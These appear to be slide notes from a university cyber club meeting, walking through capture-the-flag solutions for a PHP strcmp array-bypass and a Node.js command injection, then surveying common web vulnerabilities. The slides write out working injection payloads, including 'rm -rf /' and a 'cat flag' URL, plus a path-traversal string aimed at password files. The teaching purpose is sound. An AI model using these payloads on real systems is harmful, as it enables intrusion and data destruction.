Mason Competitive Cyber Advanced Track

What are we doing today?

- Roundtable
- Git PSA
- Some of the fun ctf.competitivecyber.club problems
- DVWA
- Hackazon
  - A modern Damn Vulnerable Web App
    - Source: I literally contribute to DVWA
  - rapid7

For next meeting/soon: Get an invite into hackthebox.eu

Roundtable

- Do you have any questions about the club?
  - Who are we
  - What we do
  - How/How often
- What do you want to see out of club?
  - Sponsor-wise, format-wise, involvement and out-of-band wise
  - Content-wise
- Would you have interest in speaking?
  - Note we only can talk about topics theoretically CTF applicable
    - Especially no “soft topic” talks

Slack Tools Discussion

1. We want to write tools as a club

2. We are working on where
   - git.gmu.edu likely candidate

3. Join **masoncc.slack.com**
   - Channel: #gitgood

Fun Mason CC CTF problems

1. Minor back to school CTF online thrown
   - Really not that big, no prizes, 10 people or so
   - Beta test of FBCTF at large scale
2. Pretty decent problems

Problems:

1. PHP Requests
2. Node.js Command Injection

PHP Requests

1. Source code provided, port and IP provided

token passed in URL (as "GET" request)

expected token stored as string (text)

actual comparison

we need it to echo (display) flag, so we need to satisfy comparison

```
<?php

$token = $_GET['token'];
$known = "realtokengoeshere";

if (strcmp($token, $known) == 0) {
 echo "flagwouldbehere";
}

?>
```

PHP on strcmp

What does PHP.net have to say about strcmp?

Seems fine, compares two strings, return 0 if equal

strcmp

(PHP 4, PHP 5, PHP 7)
strcmp — Binary safe string comparison

Description

```
int strcmp ( string $str1 , string $str2 )
```

Note that this comparison is case sensitive.

Return Values

Returns < 0 if **str1** is less than **str2**; > 0 if **str1** is greater than **str2**, and 0 if they are equal.

PHP devs on strcmp

What do PHP devs have to say about strcmp? (top comment)

▲ 59 ▼ jendoj at gmail dot com 5 years ago

If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.

■ ■ ■

Passing non-string

Send an Array with an HTTP Get

▲ How can i send an Array with a HTTP Get request?

And, when the target server uses a **weak typed** language like PHP or RoR, then you need to suffix the parameter name with braces `[]` in order to trigger the language to return an array of values instead of a single value.

```
foo[]=value1&foo[]=value2&foo[]=value3
```

```
$foo = $_GET["foo"]; // [value1, value2, value3]
echo is_array($foo); // true
```

And… the result?

What happens when we actually pass this?

```
php > $string = 'Hello, Club!';
php > $samplearray = ['a','b','c'];
php > var_dump(strcmp($string,$samplearray));
PHP Warning:  strcmp() expects parameter 2 to be string, array given in php shel
l code on line 1

Warning: strcmp() expects parameter 2 to be string, array given in php shell cod
e on line 1
NULL
php >
```

Returns NULL
PHP is weak typed
NULL in PHP == true == 0

Hackazon/DVWA

Hackazon (less conventional, newer) IP: http://34.230.46.149

DVWA (easier, gives answers) IP: http://34.230.46.149:81

- Both dockerized
- Ask me for a reset

In DVWA, make sure you guess login/password **and set difficulty**

Credit: all-in-one-hackazon, dvwa was my own build

Node.js Command Injection

Provided code, source, IP as well

```
I found this cool new site that does DNS lookups for you! I hope it's safe!

http://54.196.33.90:1337/?args=gmu.edu
```

Pretext

Provided IP and port only

Zosman requested a JS problem

```
I found this cool new site that does DNS lookups for you! I hope it's safe!

http://54.196.33.90:1337/?args=gmu.edu
```

The response text is basically response text from the **dig** command

Fuzzing

Literally does:

```
param = req.query['args'];
require('child_process').exec('dig ' + param, function (err, data) {
   res.send(data + err);
});
```

Where param is what is passed to args

Expected:

But what about:

dig && rm -rf / or **dig; rm -rf /**

Result:

Evil commands work, like:

- http://[CTF box]:[port]/?args=gmu.edu;%20cat%20flag
- ran **dig gmu.edu; cat flag**
- Runs DNS query on GMU, views **flag** file, then returns both results to browser

Ideally, would start with something like:

- http://[CTF box]:[port]/?args=gmu.edu;ls
- runs: **dig gmu.edu; ls**
- Runs DNS query, lists current folder, then returns both of those results

More on Command Injection

- Useful for recon
- Good system security mitigates the damage you can do
  - Zybooks
- Might have weird limits in CTFs
  - Blind, character limit, etc
  - Becomes a Linux quiz
- **&& won't work in GET, & is used as separator in GET**
  - **Use ;**

In Short:

DON’T TRUST USER INPUT, VERIFY

DON’T TRUST THE BROWSER, VERIFY SERVER SIDE

Plugging a PHP tutorial site:

https://php.earth/doc/security/intro

XSS: Cross Site Scripting

- Common
- Attacker gives Javascript, Javascript runs on others browser
- Stored:
  - Stored in database, like username or bio
- Reflected:
  - Much less impact, can leverage trusted domain
- DOM Based:
  - Occurs on the client side by client side
    - Javascript, VBScript, etc executing bad Javascript

SQL Injection

- Similar concept of command injection, instead of command, SQL command to manipulate database

A more technical-agnostic breakdown:

owasp.org/index.php/SQL_Injection

A technical breakdown for all languages:

bobby-tables.com

Others:

- CSRF
  - Cross Site Request Forgery
  - Go example
- Open Redirects
  - Facebook did this previously
- Server Side Includes
  - Trusting the user to not change “cat.jpg” to “../../../../database_passwords.php”
- Session hijacking
  - Less common in real world today
  - Session ID cookie, associated with login in backend, steal (with XSS?), profit
- etc, see **OWASP**
- **see OWASP Top 10**